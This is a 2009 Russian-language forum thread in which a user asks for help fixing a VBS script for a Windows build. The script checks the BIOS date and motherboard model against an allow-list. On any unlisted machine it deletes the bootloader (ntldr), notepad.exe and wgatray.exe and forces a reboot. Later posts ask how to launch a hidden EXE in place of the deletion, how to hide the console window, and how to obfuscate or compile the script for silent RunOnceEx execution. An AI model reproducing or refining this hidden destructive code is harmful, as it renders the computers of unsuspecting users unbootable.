|
Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - [решено] Помогите подправить скрипт VBS |
|
VBS/WSH/JS - [решено] Помогите подправить скрипт VBS
|
Ветеран Сообщения: 2756 |
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:
Option Explicit Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Dim objFSO, objShell, strSystemDrive Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 strPassword = "12345" Dim arrayAllowedHosts(3) arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3" arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series" arrayAllowedHosts(2) = "20020315000000.000000+000sis-645" arrayAllowedHosts(3) = "20010427000000.000000+0008363-686" Set objShell = CreateObject("Wscript.Shell") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objBIOS In arrayBIOS For Each objBaseboard In arrayBaseBoard strComputerHost = objBios.ReleaseDate & objBaseboard.Product For Each strAllowedHost in arrayAllowedHosts If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1 Next Next Next If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Set objFSO = CreateObject("Scripting.FileSystemObject") objFSO.DeleteFile ("C:\Protect.zip") objFSO.DeleteFile ("C:\PKUNZIP.EXE") objFSO.DeleteFile ("C:\PROTECTT.CMD") If strYouAreWelcome <> 1 Then Set objFSO = CreateObject("Scripting.FileSystemObject") Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else If strYouAreWelcome = 1 Then ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True End If End If Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным. Помогите пожалуйста. |
|
Отправлено: 21:11, 21-02-2009 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать только что осинило что можно пойти другим путем. Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? А там я в нем все напишу что наболело
![]() |
------- Отправлено: 22:17, 21-02-2009 | #2 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Цитата Pozia:
Цитата Pozia:
|
||
Отправлено: 12:02, 24-02-2009 | #3 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать Цитата amel27:
Цитата amel27:
ObjShell.Run ("C:\run.exe"), 0, True ObjShell.Run ("C:\run.exe"), 0 ObjShell.Run ("C:\run.exe") ничто не получилось |
||
------- Отправлено: 00:26, 25-02-2009 | #4 |
Ветеран Сообщения: 3320
|
Профиль | Отправить PM | Цитировать |
|
Отправлено: 01:08, 25-02-2009 | #5 |
Googler Сообщения: 3665
|
Профиль | Отправить PM | Цитировать Pozia
Цитата:
![]() |
|
Отправлено: 06:15, 25-02-2009 | #6 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?
|
------- Отправлено: 19:30, 25-02-2009 | #7 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать Admiral, еще хочу добавить что если это DOC окно скрыть то скрипт зависает в процессах и сам не выгружается. Очень бы хотелось это окно скрыть если это возможно.
|
------- Отправлено: 20:48, 25-02-2009 | #8 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать вот еще заметил, что данный скрипт в загруженной винде не виден при выполнении. У меня он запускается через RunOnceEx перед первой загрузкой и вот там DOS окно выскакивает. И это окно не того файла который скрипт запускает, так как там тихий EXEфайл. Это окно скрипта. При чем окно пустое. Вот очень нужно его запускать скрытым если это можно.
Еще. Я этот VBS скрипт компилирую (если это так называется) с помощью утилиты screnc.exe Может из за нее выскакивает окно. Может можно чем нибудь еще компилировать? |
------- Отправлено: 22:35, 25-02-2009 | #9 |
Ветеран Сообщения: 2756
|
Профиль | Отправить PM | Цитировать По поводу дос окна вопрос снимаю. Совсем затупил и не увидел что скрипт запускает CMD файл от которого и горит DOS окно. Я пошел другим путем. Нашел прогу Vbs_To_Exe и скомпилировал скрипт прямо в EXE и как и раньше запускаю его через RunOnceEx. Теперь такая проблема возникла. При выполнении скрипта выскакивает табличка с надписью "the script you are executing is taking longer than expected to run click end to abort the script, or continue to continue script execution" и две кнопки End и Continue. Как сделать чтобы это окно не выскакивало? Как то подправить скрипт?
|
------- Отправлено: 01:04, 26-02-2009 | #10 |
![]() |
Участник сейчас на форуме |
![]() |
Участник вне форума |
![]() |
Автор темы |
![]() |
Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
VBS/WSH/JS - Помогите русифицироват *.vbs скрипт | nod201 | Скриптовые языки администрирования Windows | 3 | 07-12-2009 10:53 | |
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs | nod201 | Скриптовые языки администрирования Windows | 0 | 05-12-2009 05:44 | |
Любой язык - [решено] Нужен скрипт cmd,vbs,PowerShell для проверки списка пользователей и их удаление из AD | alex_frog | Скриптовые языки администрирования Windows | 6 | 22-07-2009 18:41 | |
Помогите, нужен скрипт vbs или wsh | Foxie | Microsoft Windows NT/2000/2003 | 3 | 18-01-2006 13:45 | |
VBS/WSH/JS - Скрипт на VBS | b0bi | Программирование и базы данных | 1 | 15-06-2004 19:15 |
|